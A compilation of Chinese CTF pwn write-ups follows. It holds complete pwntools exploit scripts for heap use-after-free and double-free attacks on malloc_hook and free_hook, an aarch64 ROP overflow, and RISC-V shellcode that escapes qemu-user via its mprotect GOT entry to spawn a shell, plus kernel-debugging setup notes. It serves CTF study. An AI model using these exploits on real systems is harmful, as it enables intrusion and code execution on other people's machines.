C++ STL中vector::push_back浅拷贝导致的double free
double free发生的原理:
https://blog.csdn.net/swartz_lubel/article/details/79493020
使用拷贝构造去解决:
https://www.cnblogs.com/alantu2018/p/8459250.html
double free发生的原理:
https://blog.csdn.net/swartz_lubel/article/details/79493020
使用拷贝构造去解决:
https://www.cnblogs.com/alantu2018/p/8459250.html
题目本身非常容易,利用UAF构造出一条通向malloc_hook的fastbin。
然后利用好realloc会copy原有内容到新堆块的特性,提前布置好payload到堆上,绕过security_read向malloc_hook中写入one_gadget。
建议这种受到堆偏移影响很大的题最好给出Dockfile,不然纯浪费时间,特傻逼!!
from pwn import *
p = remote("chall.pwnable.tw", 10400)
#p = process("./breakout", env={"LD_PRELOAD":"./libc_64.so.6"})
elf = ELF("./breakout")
libc = ELF("./libc_64.so.6")
context.arch = "amd64"
context.log_level = "debug"
def list_all():
p.sendafter(b"> ", b"list\n")
def set_note(cell:int, size:int, content):
p.sendafter(b"> ", b"note\n")
p.sendafter(b"Cell: ", str(cell).encode())
p.sendafter(b"Size: ", str(size).encode())
p.sendafter(b"Note: ", content)
def punish(cell:int):
p.sendafter(b"> ", b"punish\n")
p.sendafter(b"Cell: ", str(cell).encode())
def exp():
# leak libc
set_note(6, 0x80, b"aaaa")
set_note(7, 0x20, b"bbbb")
set_note(6, 0x90, b"cccc")
set_note(8, 0x80, b"a"*8)
list_all()
p.recvuntil(b"Life imprisonment, murder")
p.recvuntil(b"aaaaaaaa")
libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
libc_base = libc_leak - 0x108 + 0xa0 - libc.symbols[b"__malloc_hook"]
malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
fake_chunk = malloc_hook - 0x23
one_list = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
print("[*] libc_leak:", hex(libc_leak))
print("[*] libc_base:", hex(libc_base))
print("[*] malloc_hook:", hex(malloc_hook))
print("[*] fake_chunk:", hex(fake_chunk))
#gdb.attach(p)
# leak heap
remote_offset = 0x410 #remote-0x410 local-0x0
punish(1)
set_note(9, 0x48, p64(malloc_hook+0x68)*2)
list_all()
p.recvuntil(b"multiple homicides")
p.recvuntil(b"Prisoner: ")
heap_leak = u64((b""+p.recv(6)).ljust(8, b"\x00"))
heap_base = heap_leak - 0x2169a0 + remote_offset
print("[*] heap_leak:", hex(heap_leak))
print("[*] heap_base:", hex(heap_base))
# realloc attach
## link to fake_chunk
set_note(2, 0x68, b"aaaa") #target_chunk
set_note(3, 0x20, b"split")
set_note(2, 0x78, b"bbbb")
target_chunk = heap_base + 0x2169a0 - remote_offset
print("[*] target_chunk:", hex(target_chunk))
payload = p64(heap_base)*3+p64(0x000000010000002d)+p64(heap_base)+p64(0x10)+p64(target_chunk+0x10)
set_note(9, 0x48, payload)
set_note(1, 0x10, p64(fake_chunk))
## get_fakechunk
set_note(3, 0x68, b"cccc")
one_gadget = libc_base + one_list[3]
set_note(4, 0x30, b"a"*(0x13-0x8)+p64(one_gadget)+p64(libc_base+0x83b1b))
set_note(5, 0x40, b"split")
## write malloc_hook
set_note(4, 0x68, b"")
print("[*] malloc_hook:", hex(malloc_hook))
print("[*] one_gadget:", hex(one_gadget))
# get shell
p.sendafter(b"> ", b"note\n")
p.sendafter(b"Cell: ", b"0")
p.sendafter(b"Size: ", str(0x80).encode())
p.interactive()
if __name__ == "__main__":
exp()
18.04 libc2.27堆题,delete有double free
白给题,触发malloc_consolidate就可以leak+overlapping了
EXP:
from pwn import *
#p = process("./pwn")
p = remote("52.152.231.198", 8081)
elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
libc = ELF("./libc-2.27.so")
context.log_level = "debug"
def add(idx:int, size:int):
p.recvuntil(b">> \n")
p.sendline(b"1")
p.recvuntil(b"input index\n")
p.sendline(str(idx).encode())
p.recvuntil(b"input size\n")
p.sendline(str(size).encode())
def delete(idx:int):
p.recvuntil(b">> \n")
p.sendline(b"2")
p.recvuntil(b"input index\n")
p.sendline(str(idx).encode())
def edit(idx:int, content):
p.recvuntil(b">> \n")
p.sendline(b"3")
p.recvuntil(b"input index\n")
p.sendline(str(idx).encode())
p.recvuntil(b"input content\n")
p.send(content)
def show(idx:int):
p.recvuntil(b">> \n")
p.sendline(b"4")
p.recvuntil(b"input index\n")
p.sendline(str(idx).encode())
def leaveName(name):
p.recvuntil(b">> \n")
p.sendline(b"5")
p.recvuntil(b"your name:\n")
p.send(name)
def showName():
p.recvuntil(b">> \n")
p.sendline(b"6")
def exp():
# leak libc
for i in range(16):
add(i, 0x20) #0-9
for i in range(15):
delete(i) # del 0-9
leaveName(b"123123")
show(7)
libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
libc_base = libc_leak - 0x3ebe10
malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
free_hook = libc_base + libc.symbols[b"__free_hook"]
system = libc_base + libc.symbols[b"system"]
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
print("malloc_hook:", hex(malloc_hook))
print("free_hook:", hex(free_hook))
# overlapping && double free
add(0, 0x50) #0
edit(0, p64(0)*4+p64(0x61))
delete(8)
edit(0, p64(0)*4+p64(0x61)+p64(free_hook-0x8))
# attack free_hook
add(1, 0x50) #1
add(1, 0x50) #1
edit(1, p64(system))
print("free_hook:", hex(free_hook))
edit(0, p64(0)*4+p64(0x61)+b"/bin/sh\x00")
delete(8)
#gdb.attach(p)
p.interactive()
if __name__ == "__main__":
exp()arm架构的题,有栈溢出机会
数据结构:
从0x412050开始的结构体数组
strcut aaa{
QWORD id;
QWORD lock;
};分析:

这里有整数溢出,当idx由unsigned解释为int得时候为-2得时候,可控name就变为我们输入得,然后:

这里就可以绕过检测,来使得name为那个大整数从而溢出。溢出的话使用rop.可以mprotect改bss段,然后shellcode。使用通用gadget。或者自己构造。
思路:
EXP:
from pwnlib.util.iters import mbruteforce
import string
from hashlib import sha256
from pwn import *
import time
#p = process(argv=["qemu-aarch64","-cpu", "max", "-L", ".", "-g", "1234", "./chall"])
#p = process(argv=["qemu-aarch64","-cpu", "max", "-L", ".", "./chall"])
p = remote("52.255.184.147", 8080)
elf = ELF("./chall")
libc = ELF("./lib/libc.so.6")
context.log_level = "debug"
context.arch = "aarch64"
def add(_id:int):
p.recvuntil(b">> ")
p.sendline(b"1")
p.recvuntil(b"identity: ")
p.sendline(str(_id).encode())
def lock(idx):
p.recvuntil(b">> ")
p.sendline(b"2")
p.recvuntil(b"idx: ")
p.sendline(str(idx).encode())
def show():
p.recvuntil(b">> ")
p.sendline(b"3")
def auth(idx):
p.recvuntil(b">> ")
p.sendline(b"4")
p.recvuntil(b"idx: ")
p.sendline(str(idx).encode())
def unshiftleft(n , shift , mask = 0xffffffffffffffff):
res = n
temp = len(bin(n)[2:]) // shift + 1
for _ in range(temp):
res = n ^ ((res << shift) & mask)
return res
def unshiftright(n , shift , mask = 0xffffffffffffffff):
res = n
temp = len(bin(n)[2:]) // shift + 1
for _ in range(temp):
res = n ^ ((res >> shift) & mask)
return res
def unshift(c):
c = unshiftright(c , 13)
c = unshiftleft(c , 31)
c = unshiftright(c , 11)
c = unshiftleft(c , 7)
return c
# global const
bss_name = 0x412030
bss_list = 0x412050
curr_ret_addr = 0x400da4
csu_gadget_1 = 0x400FF8
csu_gadget_2 = 0x400FD8
puts_got = 0x411FD0
read_got = 0x411FD8
main_addr = 0x400F5C
def exp():
# set name
p.recvuntil(b"input your name: ")
name = p64(csu_gadget_1) + p64(0) + p64(0x10A9FC70042) + p64(0)
p.send(name) #0x3f000000400ff8
lock(-2)
add(0xdeadbeef) #0
show()
p.recvuntil(b"name: ")
encode_csu_gadget_1 = u64(p.recvuntil(b"\x01\n", drop=True))
print("encode_csu_gadget_1:", hex(encode_csu_gadget_1))
signed_csu_gadget_1 = unshift(encode_csu_gadget_1)
print("signed_csu_gadget_1:", hex(signed_csu_gadget_1))
lock(-1)
auth(-1)
# stack overflow
payload = b"a"*0x28
payload += p64(signed_csu_gadget_1)
payload += p64(csu_gadget_2)*2
payload += p64(0) + p64(1)
payload += p64(puts_got) + p64(puts_got)
payload += p64(0) + p64(0)
payload += p64(main_addr) + p64(main_addr)
payload += p64(csu_gadget_2)
p.sendline(payload)
libc_leak = p.recvuntil(b"\n", drop=True)
libc_leak = (libc_leak+b"\x00\x40").ljust(8, b"\x00")
puts = u64(libc_leak)
libc_base = puts - libc.symbols[b"puts"]
system = libc_base + libc.symbols[b"system"]
binsh = libc_base + next(libc.search(b"/bin/sh"))
mprotect = libc_base + libc.symbols[b"__mprotect"]
print("puts:", hex(puts))
print("libc_base:", hex(libc_base))
print("system:", hex(system))
print("binsh:", hex(binsh))
print("mprotect:", hex(mprotect))
# set name
p.recvuntil(b"input your name: ")
name = p64(csu_gadget_1) + p64(0) + p64(0x10A9FC70042) + p64(0)
p.send(name) #0x3f000000400ff8
lock(-2)
add(0xdeadbeef) #0
show()
p.recvuntil(b"name: ")
encode_csu_gadget_1 = u64(p.recvuntil(b"\x01\n", drop=True))
print("encode_csu_gadget_1:", hex(encode_csu_gadget_1))
signed_csu_gadget_1 = unshift(encode_csu_gadget_1)
print("signed_csu_gadget_1:", hex(signed_csu_gadget_1))
lock(-1)
auth(-1)
# stack overflow
payload = b"a"*0x28
payload += p64(signed_csu_gadget_1)
payload += p64(csu_gadget_2)*2
payload += p64(0) + p64(1)
payload += p64(read_got) + p64(0)
payload += p64(0x412060) + p64(100)
payload += p64(main_addr) + p64(main_addr)
payload += p64(csu_gadget_2)
p.sendline(payload)
p.sendline(p64(system)+b"/bin/sh\x00")
# set name
p.recvuntil(b"input your name: ")
name = p64(csu_gadget_1) + p64(0) + p64(0x10A9FC70042) + p64(0)
p.send(name) #0x3f000000400ff8
lock(-2)
add(0xdeadbeef) #0
show()
p.recvuntil(b"name: ")
encode_csu_gadget_1 = u64(p.recvuntil(b"\x01\n", drop=True))
print("encode_csu_gadget_1:", hex(encode_csu_gadget_1))
signed_csu_gadget_1 = unshift(encode_csu_gadget_1)
print("signed_csu_gadget_1:", hex(signed_csu_gadget_1))
lock(-1)
auth(-1)
# stack overflow
payload = b"a"*0x28
payload += p64(signed_csu_gadget_1)
payload += p64(csu_gadget_2)*2
payload += p64(0) + p64(1)
payload += p64(0x412060) + p64(0x412060+0x8)
payload += p64(0) + p64(0)
payload += p64(main_addr) + p64(main_addr)
payload += p64(csu_gadget_2)
p.sendline(payload)
p.interactive()
def proof_of_work(p):
p.recvuntil("xxxx+")
suffix = p.recv(16).decode("utf8")
p.recvuntil("== ")
cipher = p.recvline().strip().decode("utf8")
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() ==
cipher, string.ascii_letters + string.digits, length=4, method='fixed')
p.sendlineafter("Give me xxxx:", proof)
if __name__ == "__main__":
proof_of_work(p)
exp()RISCV PWN,憋shellcode
EXP:
from pwn import *
#p = process(argv=["./qemu-riscv64", "-g", "1234", "./main"])
#p = process(argv=["./qemu-riscv64", "./main"])
p = remote("119.28.89.167", 60001)
#p = remote("127.0.0.1", 60001)
context.log_level = "debug"
#context.arch = "riscv64"
elf = ELF("./main")
# overflow offset: 0x120
# ret_addr: 0x11300
def exp():
p.recvuntil(b"Input the flag: ")
#p.sendline(b"a"*0x4b8)
## openat(root, "/home/pwn/flag")
shellcode = b"\x01\x45" #c.li a0, 0
shellcode += b"\x01\x11" #c.addi sp -0x20
shellcode += b"\x8a\x85" #c.mv a1, sp
shellcode += b"\x01\x46" #c.li a2, 0
shellcode += b"\x93\x08\x80\x03" #li a7, 56
shellcode += b"\x73\x00\x00\x00" #ecall
## read(flag_fd, reg_sp, 30)
shellcode += b"\x0d\x45" #c.li a0, 5
shellcode += b"\x8a\x85" #c.mv a1, sp
shellcode += b"\x13\x06\x20\x03" #c.li a2, 30
shellcode += b"\x93\x08\xf0\x03" #li a7, 63
shellcode += b"\x73\x00\x00\x00" #ecall
## write(1, reg_sp, 30)
shellcode += b"\x05\x45" #c.li a0, 5
shellcode += b"\x8a\x85" #c.mv a1, sp
shellcode += b"\x13\x06\x20\x03" #c.li a2, 30
shellcode += b"\x93\x08\x00\x04" #li a7, 63
shellcode += b"\x73\x00\x00\x00" #ecall
print("shellcode len:", hex(len(shellcode)))
shellcode = shellcode.ljust(0x40, b"\x00")+b"/home/pwn/flag\x00"
payload = b"a"*0x120+p64(0x1058a)
payload = payload.ljust(0x2c8, b"a")
payload += shellcode
payload = payload.ljust(0x320, b"a")
payload += p64(0x4000800e10)
p.sendline(payload)
p.interactive()
if __name__ == "__main__":
exp()接着上一题,不过为了有足够的空间需要把shellcode的位置做调整,sp的位置做调整,以便读取/proc/self/maps泄露地址
观察了qemu的源码以及实际测试发现,qemu-user没有做好地址隔离,如果泄露出地址后借助mprotect修改qemu got表所在段权限,修改mprotect函数got表就可以执行system("/bin/sh\x00")
坑点:
/proc/self/maps路径做了限制,可以改成/home/**/proc/self/maps来绕过如果想修改mprotect_got指向system要注意,在进入mprotect系统调用时qemu会检查第一个参数的地址是否页对齐,对齐了才会call mprotect_got上的指针。这导致在利用时需要先把flag存到bss或者data段某些页对齐的地址上(大坑
源码:
if ((start & ~TARGET_PAGE_MASK) != 0)
return -EINVAL;li指令立即数大小有限制,可以结合位运算扩大EXP:
from pwn import *
import time
#p = process(argv=["./qemu-riscv64", "-g", "1234", "./main"])
#p = process(argv=["./qemu-riscv64", "./main"])
p = remote("119.28.89.167", 60001)
#p = remote("127.0.0.1", 60001)
libc = ELF("./libc-2.27.so")
context.log_level = "debug"
#context.arch = "riscv64"
elf = ELF("./main")
# overflow offset: 0x120
# ret_addr: 0x11300
def exp():
p.recvuntil(b"Input the flag: ")
#p.sendline(b"a"*0x4b8)
## openat(root, path, 0)
shellcode = b"\x01\x45" #c.li a0, 0
shellcode += b"\x8a\x85" #c.mv a1, sp
shellcode += b"\x01\x46" #c.li a2, 0
shellcode += b"\x93\x08\x80\x03" #li a7, 56
shellcode += b"\x73\x00\x00\x00" #ecall
## read(flag_fd, reg_sp, 30)
shellcode += b"\x0d\x45" #c.li a0, 3
#shellcode += b"\x15\x45" #c.li a0, 5
shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500
shellcode += b"\x8a\x85" #c.mv a1, sp
shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500
shellcode += b"\x13\x06\x00\x32" #li a2, 0x1b0
shellcode += b"\x93\x08\xf0\x03" #li a7, 63
shellcode += b"\x73\x00\x00\x00" #ecall
## write(1, reg_sp, 30)
shellcode += b"\x05\x45" #c.li a0, 1
shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500
shellcode += b"\x8a\x85" #c.mv a1, sp
shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500
shellcode += b"\x13\x06\x00\x32" #li a2, 0x1b0
shellcode += b"\x93\x08\x00\x04" #li a7, 63
shellcode += b"\x73\x00\x00\x00" #ecall
## read(0, reg_sp, 0x10)
shellcode += b"\x01\x45" #c.li a0, 0
shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500
shellcode += b"\x8a\x85" #c.mv a1, sp
shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500
shellcode += b"\x41\x46" #c.li a2, 0x10
shellcode += b"\x93\x08\xf0\x03" #li a7, 63
shellcode += b"\x73\x00\x00\x00" #ecall
shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500
shellcode += b"\x02\x64" #c.ldsp s0, 0x0(sp) => qemu_base_2
shellcode += b"\xa2\x64" #c.ldsp s1, 0x8(sp) => mprotect_got
shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500
## mprotect(start, len, 7)
shellcode += b"\x13\x05\x04\x00" #mv a0, s0
shellcode += b"\x93\x05\xc0\x03" #li a1, 0x3c
shellcode += b"\x93\x95\xc5\x00" #slli a1, a1, 0xc
shellcode += b"\x1d\x46" #c.li a2, 0x7
shellcode += b"\x93\x08\x20\x0e" #li a7, 226(mprotect)
shellcode += b"\x73\x00\x00\x00" #ecall
## write(1, mprotect_got, 0x8)
shellcode += b"\x05\x45" #c.li a0, 1
shellcode += b"\xa6\x85" #c.mv a1, s1
shellcode += b"\x13\x06\x80\x00" #li a2, 0x8
shellcode += b"\x93\x08\x00\x04" #li a7, 63
shellcode += b"\x73\x00\x00\x00" #ecall
## read(0, mprotect_got, 8)
shellcode += b"\x01\x45" #c.li a0, 0
shellcode += b"\x93\x85\x04\x00" #mv a1, s1 => mprotect_got
shellcode += b"\x21\x46" #c.li a2, 0x8
shellcode += b"\x93\x08\xf0\x03" #li a7, 63
shellcode += b"\x73\x00\x00\x00" #ecall
## store "/bin/sh" to 0x6d000 (PAGE_MASK_ADDR)
shellcode += b"\x13\x01\x81\x01" #addi sp, 0x18
shellcode += b"\x03\x39\x01\x00" #ld s2, 0x0(sp) load "/bin/sh"
shellcode += b"\x13\x01\x81\xfe" #addi sp, -0x18
shellcode += b"\x13\x01\xd0\x06" #li sp, 0x6d
shellcode += b"\x13\x11\xc1\x00" #slli sp, sp, 0x4
shellcode += b"\x23\x30\x21\x01" #sd s2, 0x0(sp) store "/bin/sh"
## system("/bin/sh")
shellcode += b"\x13\x05\x01\x00" #mv a0, sp
shellcode += b"\x93\x05\xc0\x03" #li a1, 0x3c
shellcode += b"\x93\x95\xc5\x00" #slli a1, a1, 0x18
shellcode += b"\x1d\x46" #c.li a2, 0x7
shellcode += b"\x93\x08\x20\x0e" #li a7, 226(mprotect)
shellcode += b"\x73\x00\x00\x00" #ecall
print("shellcode len:", hex(len(shellcode)))
payload = b"a"*0x120+p64(0x1058a)
payload += shellcode
payload = payload.ljust(0x320, b"a")
payload += p64(0x4000800c70)
payload += b"/proc/self/task/../maps\x00/bin/sh\x00"
p.sendline(payload)
#time.sleep(1)
for i in range(6):
p.recvuntil(b"\n")
qemu_base = int(p.recvuntil(b"-", drop=True), 16)
p.recvuntil(b"\n")
qemu_base_2 = int(p.recvuntil(b"-", drop=True), 16)
p.recv()
do_syscall_1 = qemu_base + 0x141100
do_syscall = qemu_base + 0x14cb50
mprotect_got = qemu_base + 0x6A3200
print("[*] qemu_base:", hex(qemu_base))
print("[*] do_syscall_1:", hex(do_syscall_1))
print("[*] mprotect_got:", hex(mprotect_got))
print("[*] qemu_base_2:", hex(qemu_base_2))
p.send(p64(qemu_base_2)+p64(mprotect_got))
mprotect_libc = u64(p.recv(8))
libc_base = mprotect_libc - libc.symbols[b"__mprotect"]
system = libc_base + libc.symbols[b"system"]
print("[*] mprotect_libc:", hex(mprotect_libc))
print("[*] libc_base:", hex(libc_base))
print("[*] system:", hex(system))
p.send(p64(system))
p.interactive()
if __name__ == "__main__":
exp() 环境搭建在虚拟机ubuntu16.04下进行(vm配置开启cpu虚拟化)
一般内核调试需要的东西就是内核镜像和磁盘镜像,不同版本的内核就用不同版本的内核镜像。而需要什么文件就调整磁盘镜像。
sudo apt-get update
sudo apt-get install qemu git libncurses5-dev fakeroot build-essential ncurses-dev xz-utils libssl-dev bc
linux各个版本内核源码可以从这下载:https://www.kernel.org/
这里用这个版本:https://mirrors.edge.kernel.org/pub/linux/kernel/v4.x/linux-4.15.tar.gz
tar -xzvf linux-4.15.tar.gz
cd linux-4.15
设置编译选项
make menuconfig
勾选以下项目:
然后保存退出
make bzImage
成功信息类似这样:
Setup is 17244 bytes (padded to 17408 bytes).
System is 7666 kB
CRC 5c77cbfe
Kernel: arch/x86/boot/bzImage is ready (#1)
从源码根目录取到vmlinux,从arch/x86/boot/取到bzImage
BusyBox 是一个集成了三百多个最常用Linux命令和工具的软件。BusyBox 包含了一些简单的工具,例如ls、cat和echo等等,还包含了一些更大、更复杂的工具,例grep、find、mount以及telnet。有些人将 BusyBox 称为 Linux 工具里的瑞士军刀。简单的说BusyBox就好像是个大工具箱,它集成压缩了 Linux 的许多工具和命令,也包含了 Android 系统的自带的shell。
这里busybox的作用主要是搭建一个简易的initranfs
下载源码:https://busybox.net/
用1.28.4测试:http://busybox.net/downloads/busybox-1.28.4.tar.bz2
解压进入目录:
tar jxvf busybox-1.28.4.tar.bz2
cd busybox-1.28.4
设置编译选项:
选中:Build static binary (no shared libs)
开始编译:
make install -j4
busybox编译完成后,进入源码目录下新增的_install目录
cd _install
mkdir -pv {bin,sbin,etc,proc,sys,usr/{bin,sbin}}
运行:vim etc/inittab
添加以下内容:
::sysinit:/etc/init.d/rcS
::askfirst:/bin/ash
::ctrlaltdel:/sbin/reboot
::shutdown:/sbin/swapoff -a
::shutdown:/bin/umount -a -r
::restart:/sbin/init
运行:mkdir etc/init.d;vim etc/init.d/rcS
添加以下内容:
#!/bin/sh
mount -t proc none /proc
mount -t sys none /sys
/bin/mount -n -t sysfs none /sys
/bin/mount -t ramfs none /dev
/sbin/mdev -s
还可以在fs根目录创建init文件,写入初始化指令,并添加执行权限:
#!/bin/sh
echo "{==DBG==} INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
# insmod /xxx.ko # load ko
mdev -s # We need this to find /dev/sda later
echo -e "{==DBG==} Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
setsid /bin/cttyhack setuidgid 1000 /bin/sh #normal user
# exec /bin/sh #root
这一步主要配置各种目录的挂载
添加执行权限:chmod +x ./etc/init.d/rcS
在_install目录下执行:
find . | cpio -o --format=newc > ~/core/rootfs.img
gzip -c ~/core/rootfs.img > ~/core/rootfs.img.gz
文件系统镜像被打包存放在了/home/{username}/core/目录下
创建一个新的目录将准备好的bzImage和rootfs.img放入,然后编写一个boot.sh
boot.sh的编写可以参考qemu的各个参数:
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./rootfs.img \
-smp 1 \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
部分参数解释:
运行boot.sh即可启动系统
canary, dep, PIE, RELRO 等保护与用户态原理和作用相同
smep: Supervisor Mode Execution Protection,当处理器处于 ring0 模式,执行 用户空间 的代码会触发页错误。(在 arm 中该保护称为 PXN)smap: Superivisor Mode Access Protection,类似于 smep,通常是在访问数据时。
mmap_min_addr
解压磁盘镜像:cpio -idv < ./initramfs.img
重打包:find . | cpio -o --format=newc > ../new_rootfs.img
借助base64编码从shell中直接写入(适用于写exp等)
remote一下就行,如果是非x86的架构可能要用gdb-multiarchgdb
pwndbg> set arch i386:x86-64
pwndbg> target remote localhost:1234
init文件获得root权限,如下:#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid /bin/cttyhack setuidgid 0 /bin/sh
umount /proc
umount /sys
poweroff -d 0 -f
setuidgid 0创建一个root shellcat /proc/kallsyms可以显示出内核中所有的函数符号和对应地址,在gdb中下断即可cat /proc/kallsyms | grep get_user_pages,下断后尝试执行ls就可以停住了*.ko,其实很简单,只需要运行insmod xxx.ko就行apt download linux-image-4.15.0-22-genericinit脚本加上insmod xxx.ko即可lsmod来查看载入的ko以及他的所在的内核地址nokaslr#!/bin/sh
gdb \
-ex "target remote localhost:1234" \
-ex "continue" \
-ex "disconnect" \
-ex "set architecture i386:x86-64:intel" \
-ex "target remote localhost:1234" \
-ex "add-symbol-file ./busybox/baby.ko 0xdeadbeef" \
-device项中看出。ubuntu@ubuntu:~$ lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
00:04.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)
Device?最右边的值如1234:11e9是vendor_id:device,可以在IDA中查看xxxx_class_init函数来确定设备的vendor_id:device。然后进入系统中使用lspci,就可以对应上了。
xx:yy:z的格式为总线:设备:功能的格式!-t和-v参数以树状显示:ubuntu@ubuntu:~$ lspci -t -v
-[0000:00]-+-00.0 Intel Corporation 440FX - 82441FX PMC [Natoma]
+-01.0 Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
+-01.1 Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
+-01.3 Intel Corporation 82371AB/EB/MB PIIX4 ACPI
+-02.0 Device 1234:1111
+-03.0 Device 1234:11e9
\-04.0 Intel Corporation 82540EM Gigabit Ethernet Controller
[0000]表示pci的域, PCI域最多可以承载256条总线。 每条总线最多可以有32个设备,每个设备最多可以有8个功能。VendorIDs、DeviceIDs、以及Class Codes字段区分出不同的设备,可以用以下参数查看:ubuntu@ubuntu:~$ lspci -v -m -n -s 00:03.0
Device: 00:03.0
Class: 00ff
Vendor: 1234
Device: 11e9
SVendor: 1af4
SDevice: 1100
PhySlot: 3
Rev: 10
ubuntu@ubuntu:~$ lspci -v -m -s 00:03.0
Device: 00:03.0
Class: Unclassified device [00ff]
Vendor: Vendor 1234
Device: Device 11e9
SVendor: Red Hat, Inc
SDevice: Device 1100
PhySlot: 3
Rev: 10
-x参数可以查看设备的内存空间:ubuntu@ubuntu:~$ lspci -v -s 00:03.0 -x
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
Subsystem: Red Hat, Inc Device 1100
Physical Slot: 3
Flags: fast devsel
/*这里显示的是MMIO空间的基址和大小*/
Memory at febf1000 (32-bit, non-prefetchable) [size=256]
/*这里显示的是PMIO空间的基址和大小*/
I/O ports at c050 [size=8]
00: 34 12 e9 11 03 01 00 00 10 00 ff 00 00 00 00 00
10: 00 10 bf fe 51 c0 00 00 00 00 00 00 00 00 00 00
20: 00 00 00 00 00 00 00 00 00 00 00 00 f4 1a 00 11
30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
sudo cat /proc/iomem: 查看各种设备占用的地址空间(包括内存和reversed区域);
sudo cat /sys/devices/pci0000:00/[设备编号]/resource: 查看设备配置空间,其中设备编号可以在lspci中看到,例如:sudo cat /sys/devices/pci0000:00/0000:00:07.1/resource.
0x00000000febd6000 0x00000000febd6fff 0x0000000000040200
0x00000000febd0000 0x00000000febd3fff 0x0000000000140204
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
每行分别表示相应空间的起始地址(start-address)、结束地址(end-address)以及标识位(flags)。
配置空间中的数据起始就是记录设备相关信息的数据,如上面提到的VendorIDs、DeviceIDs、和Class Codes字段等...
除了resource文件,还有resource0(MMIO空间)以及resource1(PMIO空间)
引用博客:
https://veritas501.space/2018/06/03/kernel%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE/#more
https://eternalsakura13.com/2020/07/11/kernel_qemu/#more
https://eternalsakura13.com/2018/04/13/qemu/
究极丧心病狂的题,只能使用元素周期表组合以及数字填充进行shellcode构造。顺带一提,题目名字二氧化锰的来由是写入shellcode的固定地址转ascii转译后的结果。
H
0: 48 dec eax
He
0: 48 dec eax
1: 65 gs
Li
0: 4c dec esp
1: 69 .byte 0x69
Be
0: 42 inc edx
1: 65 gs
B
0: 42 inc edx
C
0: 43 inc ebx
N
0: 4e dec esi
O
0: 4f dec edi
F
0: 46 inc esi
Ne
0: 4e dec esi
1: 65 gs
Na
0: 4e dec esi
1: 61 popa
Mg
0: 4d dec ebp
1: 67 addr16
Al
0: 41 inc ecx
1: 6c ins BYTE PTR es:[edi],dx
Si
0: 53 push ebx
1: 69 .byte 0x69
P
0: 50 push eax
S
0: 53 push ebx
Cl
0: 43 inc ebx
1: 6c ins BYTE PTR es:[edi],dx
Ar
0: 41 inc ecx
1: 72 .byte 0x72
K
0: 4b dec ebx
Ca
0: 43 inc ebx
1: 61 popa
Sc
0: 53 push ebx
1: 63 .byte 0x63
Ti
0: 54 push esp
1: 69 .byte 0x69
V
0: 56 push esi
Cr
0: 43 inc ebx
1: 72 .byte 0x72
Mn
0: 4d dec ebp
1: 6e outs dx,BYTE PTR ds:[esi]
Fe
0: 46 inc esi
1: 65 gs
Co
0: 43 inc ebx
1: 6f outs dx,DWORD PTR ds:[esi]
Ni
0: 4e dec esi
1: 69 .byte 0x69
Cu
0: 43 inc ebx
1: 75 .byte 0x75
Zn
0: 5a pop edx
1: 6e outs dx,BYTE PTR ds:[esi]
Ga
0: 47 inc edi
1: 61 popa
Ge
0: 47 inc edi
1: 65 gs
As
0: 41 inc ecx
1: 73 .byte 0x73
Se
0: 53 push ebx
1: 65 gs
Br
0: 42 inc edx
1: 72 .byte 0x72
Kr
0: 4b dec ebx
1: 72 .byte 0x72
Rb
0: 52 push edx
1: 62 .byte 0x62
Sr
0: 53 push ebx
1: 72 .byte 0x72
Y
0: 59 pop ecx
Zr
0: 5a pop edx
1: 72 .byte 0x72
Nb
0: 4e dec esi
1: 62 .byte 0x62
Mo
0: 4d dec ebp
1: 6f outs dx,DWORD PTR ds:[esi]
Tc
0: 54 push esp
1: 63 .byte 0x63
Ru
0: 52 push edx
1: 75 .byte 0x75
Rh
0: 52 push edx
1: 68 .byte 0x68
Pd
0: 50 push eax
1: 64 fs
Ag
0: 41 inc ecx
1: 67 addr16
Cd
0: 43 inc ebx
